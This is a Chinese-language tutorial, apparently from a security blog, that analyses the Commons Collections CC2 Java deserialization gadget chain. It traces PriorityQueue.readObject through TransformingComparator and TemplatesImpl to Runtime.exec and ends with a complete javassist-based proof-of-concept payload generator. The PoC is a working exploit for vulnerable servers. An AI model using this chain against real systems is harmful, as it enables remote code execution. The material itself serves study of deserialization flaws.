在学习之前,我们想一下反序列化漏洞的整个利用过程

1、客户端构造恶意payload进行封装(可能存在多层),并对其进行序列化
2、恶意Payload进行发送,服务端接受,服务端使用readobject函数(重写),他会对我们构造的payload进行反序列化读取。(多层处理,我们叫它反序列化链,在这里就是我们的CC链)
3、读取后进入逻辑处理的代码,可能会进行第二层readobject,第三层等,最后执行我们payload中的命令

因此需要三个条件:
1、构造好与目标环境匹配gadget的payload(如我们yso进行构造payload)
2、gadget,也就是CC链,因为目标的各种环境进行变化
3、readobject点,值需要我们可控且与gadget有关联,这个可以是程序员自己重写的,也可能是第三方组件重写的。

前言:

cc1有版本限制,原因在于高版本1.8 8u71的JDK改写了AnnotationInvocationHandler的readobject方法,导致readObject反序列化时出现一些异常。因此在1.8u71以上的JDK,我们可以尝试使用cc2。
限制

  • commons-collections4:4.0

apache common collections的所有的攻击链的本质上都是找到一个完整的调用链,最终能够执行transform()方法。

CC2

CC2不是使用AnnotationInvocationHandler来进行构造的,而是使用javassist和PriorityQueue来构造利用链。
版本限制
commons-collections-4.0中的TransformingComparator继承了Serializable,而CC3.1则没有去实现Serializable接口,因此利用链便不能使用了。

PriorityQueue

正如它的名字一样,它是和队列有关的一个类,引用大佬的一段话

我们知道,Queue是一个先进先出(FIFO)的队列。 在银行柜台办业务时,我们假设只有一个柜台在办理业务,但是办理业务的人很多,怎么办? 可以每个人先取一个号,例如:A1、A2、A3……然后,按照号码顺序依次办理,实际上这就是一个Queue。 如果这时来了一个VIP客户,他的号码是V1,虽然当前排队的是A10、A11、A12……但是柜台下一个呼叫的客户号码却是V1。 这个时候,我们发现,要实现“VIP插队”的业务,用Queue就不行了,因为Queue会严格按FIFO的原则取出队首元素。我们需要的是优先队列:PriorityQueue

image.png
image.png
由此可见,该方法的作用如果正常使用的haul,就是一个普通的队列

  1. add(E e) 将指定的元素插入此优先级队列
  2. clear() 从此优先级队列中移除所有元素。
  3. comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
  4. contains(Object o) 如果此队列包含指定的元素,则返回 true
  5. iterator() 返回在此队列中的元素上进行迭代的迭代器。
  6. offer(E e) 将指定的元素插入此优先级队列
  7. peek() 获取但不移除此队列的头;如果此队列为空,则返回 null
  8. poll() 获取并移除此队列的头,如果此队列为空,则返回 null
  9. remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
  10. size() 返回此 collection 中的元素数。
  11. toArray() 返回一个包含此队列所有元素的数组

TransformingComparator
它和CC1中的ChainedTransformer比较像

分析

整个CC2的调用链如下所示,我们可以shift+ctrl+F来搜索一下的方法,然后打上断点
/*
Gadget chain:
ObjectInputStream.readObject() //输入流传值后调用readObject进行反序列化
PriorityQueue.readObject() //进入CC2 入口,readObject
PriorityQueue.heapify()
PriorityQueue.siftDown
PriorityQueue.siftDownUsingConparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

1、PriorityQueue.readObject()
java.util.PriorityQueue.java默认存在readObject方法,处理传入的inputStream
打上断点
image.png

  1. private void readObject(java.io.ObjectInputStream s)
  2. throws java.io.IOException, ClassNotFoundException {
  3. // Read in size, and any hidden stuff
  4. s.defaultReadObject();
  5. // Read in (and discard) array length
  6. s.readInt();
  7. SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
  8. queue = new Object[size];
  9. // Read in all elements.
  10. for (int i = 0; i < size; i++)
  11. queue[i] = s.readObject();
  12. // Elements are guaranteed to be in "proper order", but the
  13. // spec has never explained what that might be.
  14. heapify();
  15. }

可以看到第10行进行了多次反序列化,并进入队列中
点击F7在13行进入heapify方法里,可以看到对队列调用了siftDown函数PriorityQueue.heapify()
image.png
跟进siftDown函数,其中队列中包含了两个元素,其中一个即为templatesImpl恶意类,当camparator不为空时,就调用了siftDownUsingComparator 进行处理 PriorityQueue.siftDown
image.png
将teamplatesImpl传入siftDownUsingComparator 方法中进行处理(就是参数E)PriorityQueue.siftDownUsingConparator()
image.png
之后就会调用comparator的compare函数来对E进行处理,因为我们这里的compare是被TransformingComparator修饰过的InvokerTransformer实例化对象。所以这里实际调用的就是TransformingComparator的compare
image.png

F7进入if (comparator.compare(x, (E) c) <= 0) 中 TransformingComparator.compare()
image.png
进入TransformingComparator.compare中,接受两个参数,内容为TemplatesImpl的实例化对象,该对象会被transformer.transform()里进行处理 InvokerTransformer.transform()
image.png
可以看到这里面的内容
image.png
反射调用了templatesImpl的newTransformer方法,跟进newTransformer方法,newTransformer又调用了getTransleInstance()方法,
image.png
进入了getTransleInstance里, 首先判断是否为空,为空的话就进入defineTransletClasses方法中
image.png
进入defineTransletClasses中,该方法会对bytecodes进行解析。可以看到for(int i=0liimage.png
image.png
转换结束后,回到getTransleInstance
image.png
由于变量 _transletIndex 的值为 “ 0 “ , 因此 _class[_transletIndex] 实际上就是我们通过 JAVAssist 构造的恶意类 。
image.png
现在会对恶意类调用 newInstance() 方法 , 类会先被加载后再被实例化 .类在加载时会调用静态代码块中的内容 . 因此服务端最终会进入 java.lang.Runtime.getRuntime().exec() 反射链 , 执行系统命令。
image.png
Method.invoke()
Runtime.exec()_
但是实际上到这一步就进入了CC1我们熟悉的地方了
image.png

POC:

  1. package ysoserial.secmgr;
  2. import javassist.ClassPool;
  3. import javassist.CtClass;
  4. import org.apache.commons.collections4.comparators.TransformingComparator;
  5. import org.apache.commons.collections4.functors.InvokerTransformer;
  6. import java.io.FileInputStream;
  7. import java.io.FileOutputStream;
  8. import java.io.ObjectInputStream;
  9. import java.io.ObjectOutputStream;
  10. import java.lang.reflect.Field;
  11. import java.util.PriorityQueue;
  12. public class xxx {
  13. public static void main(String[] args) throws Exception {
  14. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  15. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  16. ClassPool classPool=ClassPool.getDefault();//返回默认的类池
  17. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  18. CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
  19. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
  20. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
  21. byte[] bytes=payload.toBytecode();//转换为byte数组
  22. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
  23. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
  24. field.setAccessible(true);//暴力反射
  25. field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
  26. Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
  27. field1.setAccessible(true);//暴力反射
  28. field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
  29. InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
  30. TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
  31. PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
  32. queue.add(1);//添加数字1插入此优先级队列
  33. queue.add(1);//添加数字1插入此优先级队列
  34. Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
  35. field2.setAccessible(true);//暴力反射
  36. field2.set(queue,comparator);//设置queue的comparator字段值为comparator
  37. Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
  38. field3.setAccessible(true);//暴力反射
  39. field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
  40. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  41. outputStream.writeObject(queue);
  42. outputStream.close();
  43. ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
  44. inputStream.readObject();
  45. }
  46. }

image.png